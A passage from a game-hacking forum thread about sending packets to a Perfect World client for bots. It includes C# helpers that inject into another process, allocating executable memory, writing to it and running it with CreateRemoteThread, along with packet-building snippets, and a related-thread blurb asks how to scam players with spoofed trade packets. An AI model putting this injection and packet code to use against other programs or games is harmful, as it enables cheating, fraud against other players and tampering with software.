[DllImport("kernel32.dll")] private static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] private static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect);
public static int AllocateMemory(IntPtr processHandle, int memorySize) { return (int)VirtualAllocEx(processHandle, (IntPtr)0, (uint)memorySize, 0x1000, 0x40); }
public static IntPtr CreateRemoteThread(IntPtr processHandle, int address) {
return CreateRemoteThread(processHandle, (IntPtr)0, 0, (IntPtr)address, (IntPtr)0, 0, (IntPtr)0); }
public static void WaitForSingleObject(IntPtr threadHandle) { if (WaitForSingleObject(threadHandle, INFINITE) != WAIT_OBJECT_0) { Debug.WriteLine("Failed waiting for single object"); } }
public static void FreeMemory(IntPtr processHandle, int address) { bool result; result = VirtualFreeEx(processHandle, (IntPtr)address, 0, FreeType.Release);
}
public static IntPtr OpenProcess(int pId) { return OpenProcess(2035711, 0, (UInt32)pId); }
public static void CloseProcess(IntPtr handle) { Int32 result = CloseHandle(handle); }
public static void MemWriteBytes(IntPtr processHandle, int address, byte[] value) { bool success; UInt32 nBytesRead = 0; success = WriteProcessMemory(processHandle, (IntPtr)address, value, (uint)value.Length, ref nBytesRead); }
public static void MemWriteStruct(IntPtr processHandle, int address, object value) { bool success; byte[] buffer = RawSerialize(value); UInt32 nBytesRead = 0; success = WriteProcessMemory(processHandle, (IntPtr)address, buffer, (uint)buffer.Length, ref nBytesRead); }
public static void MemWriteInt(IntPtr processHandle, int address, int value) { bool success; byte[] buffer = BitConverter.GetBytes(value); UInt32 nBytesRead = 0; success = WriteProcessMemory(processHandle, (IntPtr)address, buffer, 4, ref nBytesRead); }
public static void MemWriteFloat(IntPtr processHandle, int address, float value) { bool success; byte[] buffer = BitConverter.GetBytes(value); UInt32 nBytesRead = 0; success = WriteProcessMemory(processHandle, (IntPtr)address, buffer, 4, ref nBytesRead); }
public static void MemWriteShort(IntPtr processHandle, int address, short value) { bool success; byte[] buffer = BitConverter.GetBytes(value); UInt32 nBytesRead = 0; success = WriteProcessMemory(processHandle, (IntPtr)address, buffer, 2, ref nBytesRead); }
public static void MemWriteByte(IntPtr processHandle, int address, byte value) { bool success; byte[] buffer = BitConverter.GetBytes(value); UInt32 nBytesRead = 0; success = WriteProcessMemory(processHandle, (IntPtr)address, buffer, 1, ref nBytesRead); }
public static byte[] MemReadBytes(IntPtr processHandle, int address, int size) { bool success; byte[] buffer = new byte[size]; UInt32 nBytesRead = 0; success = ReadProcessMemory(processHandle, (IntPtr)address, buffer, (uint)size, ref nBytesRead); return buffer; }
public static int MemReadInt(IntPtr processHandle, int address) { bool success; byte[] buffer = new byte[4]; UInt32 nBytesRead = 0; success = ReadProcessMemory(processHandle, (IntPtr)address, buffer, 4, ref nBytesRead); return BitConverter.ToInt32(buffer, 0); }
public static uint MemReadUInt(IntPtr processHandle, int address) { bool success; byte[] buffer = new byte[4]; UInt32 nBytesRead = 0; success = ReadProcessMemory(processHandle, (IntPtr)address, buffer, 4, ref nBytesRead); return BitConverter.ToUInt32(buffer, 0); } public static float MemReadFloat(IntPtr processHandle, int address) { bool success; byte[] buffer = new byte[4]; UInt32 nBytesRead = 0; success = ReadProcessMemory(processHandle, (IntPtr)address, buffer, 4, ref nBytesRead); return BitConverter.ToSingle(buffer, 0); }
public static string MemReadUnicode(IntPtr processHandle, int address) { bool success; byte[] buffer = new byte[400]; UInt32 nBytesRead = 0; success = ReadProcessMemory(processHandle, (IntPtr)address, buffer, 400, ref nBytesRead);
return ByteArrayToString(buffer, EncodingType.Unicode); }
public static object MemReadStruct(IntPtr processHandle, int address, Type anyType) { int rawsize = Marshal.SizeOf(anyType); bool success; byte[] buffer = new byte[rawsize]; UInt32 nBytesRead = 0; success = ReadProcessMemory(processHandle, (IntPtr)address, buffer, (UInt32)rawsize, ref nBytesRead); return RawDeserialize(buffer, 0, anyType); }
private static object RawDeserialize(byte[] rawData, int position, Type anyType) { int rawsize = Marshal.SizeOf(anyType); if (rawsize > rawData.Length) return null; IntPtr buffer = Marshal.AllocHGlobal(rawsize); Marshal.Copy(rawData, position, buffer, rawsize); object retobj = Marshal.PtrToStructure(buffer, anyType); Marshal.FreeHGlobal(buffer); return retobj; }
private static byte[] RawSerialize(object anything) { int rawSize = Marshal.SizeOf(anything); IntPtr buffer = Marshal.AllocHGlobal(rawSize); Marshal.StructureToPtr(anything, buffer, false); byte[] rawDatas = new byte[rawSize]; Marshal.Copy(buffer, rawDatas, 0, rawSize); Marshal.FreeHGlobal(buffer); return rawDatas; }
private static string ByteArrayToString(byte[] bytes) { return ByteArrayToString(bytes, EncodingType.Unicode); }
private static string ByteArrayToString(byte[] bytes, EncodingType encodingType) { System.Text.Encoding encoding = null; string result = ""; switch (encodingType) { case EncodingType.ASCII: encoding = new System.Text.ASCIIEncoding(); break; case EncodingType.Unicode: encoding = new System.Text.UnicodeEncoding(); break; case EncodingType.UTF7: encoding = new System.Text.UTF7Encoding(); break; case EncodingType.UTF8: encoding = new System.Text.UTF8Encoding(); break; }
for (int i = 0; i < bytes.Length; i += 2) { if (bytes[i] == 0 && bytes[i + 1] == 0) { result = encoding.GetString(bytes, 0, i); break; } }
return result; }
private static byte[] StringToByteArray(string str, EncodingType encodingType) { System.Text.Encoding encoding = null; switch (encodingType) { case EncodingType.ASCII: encoding = new System.Text.ASCIIEncoding(); break; case EncodingType.Unicode: encoding = new System.Text.UnicodeEncoding(); break; case EncodingType.UTF7: encoding = new System.Text.UTF7Encoding(); break; case EncodingType.UTF8: encoding = new System.Text.UTF8Encoding(); break; } return encoding.GetBytes(str); }
}
|
i used these classes for test and my pw got crash (not report bug, just terminate process) PS: i changed real base and send packet address.
can someone help me?
------------------------
i discovered the problem is in createremotethread. when the debugger execute the createremotethread line pw get crashes.
But i don't know what is the solution
------------------------
Sorry for noob quests. I think I found the problem. I use the pwbr and i think the problem is in opcode. i wanna know how to find de sendpacketopcodeaddress for my pw... can someone help me? 
thanks in advance
|
|
|
11/20/2012, 01:13
|
#332
|
elite*gold: 0
Join Date: Nov 2012
Posts: 96
Received Thanks: 81
|
Thats an very interesting Part i read here.
Did not read all 34 Pages, but that sound like you use the Ingame Functions with this.
So this can be used on any Ingame Function we may found an no need to inject them ?
Since i use asm code for Pick up Loot etc.
To Bad i found this Board and Info not some Months ago.
|
|
|
01/15/2013, 08:02
|
#333
|
elite*gold: 0
Join Date: Feb 2010
Posts: 7
Received Thanks: 2
|
Quote:
Originally Posted by vuduy
Looks fine to me. It might be better to wait until the targetID is registered before executing the skills; you can also measure the server's latency while waiting as well. Example:
Code:
public long DoSetTarget(uint targetID)
{
var stream = new MemoryStream();
stream.Write(BitConverter.GetBytes(0x2), 0, 2);
stream.Write(BitConverter.GetBytes(targetID), 0, 4);
byte[] data = stream.ToArray();
SendPackage(data);
Stopwatch timer = Stopwatch.StartNew();
while (timer.ElapsedMilliseconds < 5000)
{
// Check for TargetID to show up
if (Self.TargetId == targetID) break;
Thread.Sleep(10);
}
return timer.ElapsedMilliseconds / 2;
}
|
i am so confused how to convert that to C++ ?
i already try but still error.
|
|
|
01/15/2013, 16:50
|
#334
|
elite*gold: 0
Join Date: Mar 2010
Posts: 862
Received Thanks: 576
|
Quote:
Originally Posted by ronald19
i am so confused how to convert that to C++ ?
i already try but still error.
|
Prolly a good idea to post your attempt so people can actually see what you did wrong
|
|
|
01/21/2013, 09:04
|
#335
|
elite*gold: 0
Join Date: Jan 2013
Posts: 4
Received Thanks: 0
|
omg i dont understand what is this use for.. and where to get it.. what is the function??>. how to use???... blurrrr
|
|
|
01/21/2013, 17:41
|
#336
|
elite*gold: 0
Join Date: Mar 2010
Posts: 862
Received Thanks: 576
|
Quote:
Originally Posted by raymamat05
omg i dont understand what is this use for.. and where to get it.. what is the function??>. how to use???... blurrrr
|
When you want to create a bot or similar tools, you generally want your client to perform certain actions. In order to do those actions you need to find the function ingame so you can call it from your process. Instead of finding a separate function for every action, it is easier to call the function that sends packets to the server as every action has to come through this function.
This way you need to only locate one function and determine the structure of the packets, which hardly ever change.
|
|
|
02/02/2013, 17:39
|
#337
|
elite*gold: 0
Join Date: Dec 2012
Posts: 3
Received Thanks: 1
|
Dear for all Member at this forum..... 
I have a problem to write code for buying or selling multiple items...
especially for above 4 different items....
for example ..
for buy item .. $packet_size use formula = (8 + 12 * nDifferent items),,,
if i put the $packet_size from above formula..
.it will crash the client
can anyone help me.......
|
|
|
02/04/2013, 13:05
|
#338
|
elite*gold: 0
Join Date: Aug 2009
Posts: 10
Received Thanks: 0
|
Quote:
lPacket.len := 50;
lPacket.buf[0] := $25;
lPacket.buf[1] := $00;
lPacket.buf[2] := $01;
lPacket.buf[3] := $00;
lPacket.buf[4] := $00;
lPacket.buf[5] := $00;
lPacket.buf[6] := $28;
lPacket.buf[7] := $00;
lPacket.buf[8] := $00;
lPacket.buf[9] := $00;
Fillmemory(@lPacket.buf[10], 24, $00);
lPacket.buf[34] := $01;
lPacket.buf[35] := $00;
lPacket.buf[36] := $00;
lPacket.buf[37] := $00;
copymemory(@lPacket.buf[38], @ID, sizeof(Cardinal));
copymemory(@lPacket.buf[42], @Shopindex, sizeof(Cardinal));
copymemory(@lPacket.buf[46], @Number, sizeof(Cardinal))
|
How About,more then 128 byte packet,what code to write 128 byte packet...can any one help?
|
|
|
02/04/2013, 15:12
|
#339
|
elite*gold: 20
Join Date: May 2009
Posts: 1,290
Received Thanks: 326
|
Get creative...
Code:
procedure TMain.SendReforgePacket;
begin
Self.Buffer.Flush;
Self.Buffer.WriteWord(37); //25 00
Self.Buffer.WriteInt(58); //3A 00 00 00
Self.Buffer.WriteInt(145); //91 00 00 00
Self.Buffer.WriteInt(0); //00 00 00 00
Self.Buffer.WriteInt(Self.GetRecipieID(Self.ReforgeItemID));
Self.Buffer.WriteInt(MOMORIAL_COINS);
Self.Buffer.WriteInt(ROUND_SHIELD_MEDAL);
Self.Buffer.WriteInt(DAMASCENE_ORE);
Self.Buffer.WriteInt(0);
Self.Buffer.WriteInt(0);
Self.Buffer.WriteInt(0);
Self.Buffer.WriteInt(0);
Self.Buffer.WriteInt(0);
Self.Buffer.WriteInt(0);
Self.Buffer.WriteInt(0);
Self.Buffer.WriteInt(0);
Self.Buffer.WriteInt(0);
Self.Buffer.WriteInt(0);
Self.Buffer.WriteInt(0);
Self.Buffer.WriteInt(0);
Self.Buffer.WriteInt(0);
Self.Buffer.WriteInt(Self.Inv.GetItemIndexFromInventoryIDWhereMinNumber(MOMORIAL_COINS,90));
Self.Buffer.WriteInt(Self.Inv.GetItemIndexFromInventoryIDWhereMinNumber(ROUND_SHIELD_MEDAL,9));
Self.Buffer.WriteInt(Self.Inv.GetItemIndexFromInventoryIDWhereMinNumber(DAMASCENE_ORE,3));
Self.Buffer.WriteInt(0);
Self.Buffer.WriteInt(0);
Self.Buffer.WriteInt(0);
Self.Buffer.WriteInt(0);
Self.Buffer.WriteInt(0);
Self.Buffer.WriteInt(0);
Self.Buffer.WriteInt(0);
Self.Buffer.WriteInt(0);
Self.Buffer.WriteInt(0);
Self.Buffer.WriteInt(0);
Self.Buffer.WriteInt(0);
Self.Buffer.WriteInt(0);
Self.Buffer.WriteInt(0);
Self.Buffer.WriteInt(Self.ReforgeItemID);
Self.Buffer.WriteInt(Self.Inv.GetItemIndexFromInventoryID(Self.ReforgeItemID));
Self.Buffer.WriteByte(7); //wtf
Self.PWAction.SendPointerPacket(@Self.Buffer.Buffer[0],Self.Buffer.Bufferlength);
end;
|
|
|
02/04/2013, 15:52
|
#340
|
elite*gold: 0
Join Date: Aug 2009
Posts: 10
Received Thanks: 0
|
Sorry Swoosh..but when i buy item use buypacket,its normally working if $packet size under 128byte ,when $packet size above 128 byte,,it will crash the client....can You help me Swoosh...
|
|
|
02/04/2013, 18:42
|
#341
|
elite*gold: 20
Join Date: May 2009
Posts: 1,290
Received Thanks: 326
|
That's because length is generally written as a packed Dword/CUINT. This means everything under 0x80 is written as a literal, while everything over 0x80 is encoded differently.
|
|
|
02/04/2013, 19:34
|
#342
|
elite*gold: 0
Join Date: Aug 2009
Posts: 10
Received Thanks: 0
|
so..it means ...i cant send packet over 0x80 with (sendpacket function) as the usual i use ?
if cannot...how i write it......can You tell me ...Swoosh....Txs before
|
|
|
02/04/2013, 19:37
|
#343
|
elite*gold: 20
Join Date: May 2009
Posts: 1,290
Received Thanks: 326
|
You can, you just need to send differently encoded data. If somebody else feels the need to share this, go ahead, but I won't.
|
|
|
02/05/2013, 19:30
|
#344
|
elite*gold: 0
Join Date: Aug 2009
Posts: 10
Received Thanks: 0
|
Ok Swoosh...THANKS for ur reply...
|
|
|
02/06/2013, 17:04
|
#345
|
elite*gold: 0
Join Date: Dec 2011
Posts: 6
Received Thanks: 0
|
So, can anyone please translate the main subject here? I ain't no programmer or anything related but I'd still like to know how would I make a good use of this 35 pages o info. It'd be much appreciated
|
|
|
 |
|
Similar Threads
|
Help with sending packets in autoit
08/16/2010 - AutoIt - 1 Replies
ive been lookin around different sites for ways to send packets to the game server. the only examples i see is to create a server and a client which i dont need, i think. well to the point now, can someone lead me in a direction or tell me how to send packets to a game? also if i send packets then that means i dont need the game to be active, correct? Because in autoit when u use keys u need to have the game active, and control send does not work. ty
|
Sending Packets !!!
09/07/2008 - Kal Online - 14 Replies
now i know how to sniff / analyse packets ... but what then ? :)
how can i send packets ?? to pimp or mix weapon for example
i just need the way to send , and then i can depend on myself :D
|
Sending Packets (need advice)
03/20/2008 - Conquer Online 2 - 7 Replies
OK well im finaly trying to stop leaching off of everybodys work its been great n all download n play :D But im tired of being a begger n the past couple months ive been learning as much as i can about macros memery add blah blah you know ...
After playing around with ce and ahk the past couple months i stumbled across wpe pro, theres not alot of tuturals and its hard to find good help.
Well heres what ive been doing so far, open my CO then i attach it to my sniffer.
I change my...
|
Scamming by sending packets???
04/15/2006 - Conquer Online 2 - 1 Replies
Well my friend and i came up with the idea to send packets to the server to show a certain item in the trade window. We want to use this as a type of scam. I didnt see this in any other threads and was wondering if anyone knew if this is possible and if they could point use in the right direction. My friend was pretty good with packets in CO 1.0 but we arent really sure to go about doing it. If anyone one could please lend a helping hand?
P.S.- Before I get flamed for this because i know i...
|
Sending packets
10/12/2005 - Conquer Online 2 - 10 Replies
I've a question. Is it possible to send 1 packet multiple times at the exact same time?
|
All times are GMT +1. The time now is 18:03.
|
|